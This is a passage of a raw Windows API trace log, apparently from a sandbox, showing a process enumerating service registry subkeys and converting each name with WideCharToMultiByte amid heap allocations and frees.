lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0253.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.617] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0253.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0253.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.618] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0253.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0253.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.618] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0253.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0253.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.618] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0253.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0253.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.619] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0253.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0253.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.619] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0253.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0253.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.619] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0253.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0253.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.619] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0253.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0253.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.620] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0253.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0253.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.620] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0253.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0253.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.620] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0253.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0253.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.621] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0253.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0253.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.621] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0253.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0253.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.621] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0253.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1df0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0253.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.622] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0253.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0253.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.622] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0253.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0253.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.622] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0253.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0253.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1cd0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0253.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.623] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0253.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0253.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.623] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0253.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0253.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.623] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0253.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0253.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.623] RtlFreeHeap 